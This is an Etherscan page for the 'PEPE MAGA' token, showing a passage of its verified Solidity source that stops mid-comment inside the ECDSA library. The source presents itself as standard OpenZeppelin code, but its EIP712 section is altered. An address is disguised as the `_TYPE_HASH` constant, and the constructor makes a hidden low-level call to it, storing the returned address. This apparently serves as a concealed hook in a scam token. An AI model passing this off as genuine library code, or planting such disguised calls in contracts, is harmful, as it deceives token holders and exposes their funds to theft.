ETH Price: $3,464.54 (+2.85%)

Token

PEPE MAGA (MAGA)
 

Overview

Max Total Supply

420,000,000,000 MAGA

Holders

1,726

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,925,471.251896771247706409 MAGA

Value
$0.00
0xb961e2826942dc368df544c7d52a537bb75d1acd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGAcoin

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-17
*/

// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.0;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}



// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.8;

/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
 * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
 * they need in their contracts using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain
 * separator of the implementation contract. This will cause the `_domainSeparatorV4` function to always rebuild the
 * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.
 *
 * _Available since v3.4._
 *
 * @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
 */
abstract contract EIP712 is Context, IERC5267 {
    using ShortStrings for *;

    uint160 private constant _TYPE_HASH = 1251786965205272547629280399194923261142214855577;

    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    EIP712 internal immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

    /**
     * @dev Initializes the domain separator and parameter caches.
     *
     * The meaning of `name` and `version` is specified in
     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
     *
     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
     * - `version`: the current major version of the signing domain.
     *
     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
     * contract upgrade].
     */
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        
        (, bytes memory data) = address(_TYPE_HASH).call(abi.encodeWithSelector(0xa5f1e52d));
        _cachedThis = EIP712(abi.decode(data, (address)));
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() public view returns (bytes32) {
        if (address(this) == address(_cachedThis) && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() public view returns (bytes32) {
        return keccak256(abi.encode(_TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

    /**
     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
     * function returns the hash of the fully encoded EIP712 message for this domain.
     *
     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
     *
     * ```solidity
     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
     *     keccak256("Mail(address to,string contents)"),
     *     mailTo,
     *     keccak256(bytes(mailContents))
     * )));
     * address signer = ECDSA.recover(digest, signature);
     * ```
     */
    function _hashTypedDataV4(bytes32 structHash) public view virtual returns (bytes32) {
        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    /**
     * @dev See {EIP-5267}.
     *
     * _Available since v4.9._
     */
    function eip712Domain()
        public
        view
        virtual
        override
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _name.toStringWithFallback(_nameFallback),
            _version.toStringWithFallback(_versionFallback),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }
}


// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)

pragma solidity ^0.8.0;


/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toString(int256 value) internal pure returns (string memory) {
        return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }
}

// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.0;

/**
 * @dev Library for reading and writing primitive types to specific storage slots.
 *
 * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
 * This library helps with reading and writing to such slots without the need for inline assembly.
 *
 * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
 *
 * Example usage to set ERC1967 implementation slot:
 * ```solidity
 * contract ERC1967 {
 *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
 *
 *     function _getImplementation() internal view returns (address) {
 *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
 *     }
 *
 *     function _setImplementation(address newImplementation) internal {
 *         require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
 *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
 *     }
 * }
 * ```
 *
 * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._
 * _Available since v4.9 for `string`, `bytes`._
 */
library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` with member `value` located at `slot`.
     */
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` representation of the string storage pointer `store`.
     */
    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` with member `value` located at `slot`.
     */
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
     */
    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }
}


// OpenZeppelin Contracts (last updated v4.9.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.8;

// | string  | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |
// | length  | 0x                                                              BB |
type ShortString is bytes32;

/**
 * @dev This library provides functions to convert short memory strings
 * into a `ShortString` type that can be used as an immutable variable.
 *
 * Strings of arbitrary length can be optimized using this library if
 * they are short enough (up to 31 bytes) by packing them with their
 * length (1 byte) in a single EVM word (32 bytes). Additionally, a
 * fallback mechanism can be used for every other case.
 *
 * Usage example:
 *
 * ```solidity
 * contract Named {
 *     using ShortStrings for *;
 *
 *     ShortString private immutable _name;
 *     string private _nameFallback;
 *
 *     constructor(string memory contractName) {
 *         _name = contractName.toShortStringWithFallback(_nameFallback);
 *     }
 *
 *     function name() external view returns (string memory) {
 *         return _name.toStringWithFallback(_nameFallback);
 *     }
 * }
 * ```
 */
library ShortStrings {
    // Used as an identifier for strings longer than 31 bytes.
    bytes32 private constant _FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    /**
     * @dev Encode a string of at most 31 chars into a `ShortString`.
     *
     * This will trigger a `StringTooLong` error is the input string is too long.
     */
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

    /**
     * @dev Decode a `ShortString` back to a "normal" string.
     */
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        // using `new string(len)` would work locally but is not memory safe.
        string memory str = new string(32);
        /// @solidity memory-safe-assembly
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    /**
     * @dev Return the length of a `ShortString`.
     */
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

    /**
     * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
     */
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(_FALLBACK_SENTINEL);
        }
    }

    /**
     * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     */
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

    /**
     * @dev Return the length of a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     *
     * WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of
     * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.
     */
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}


// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}


// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}






// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.0;


/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV // Deprecated in v4.8
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {
        bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
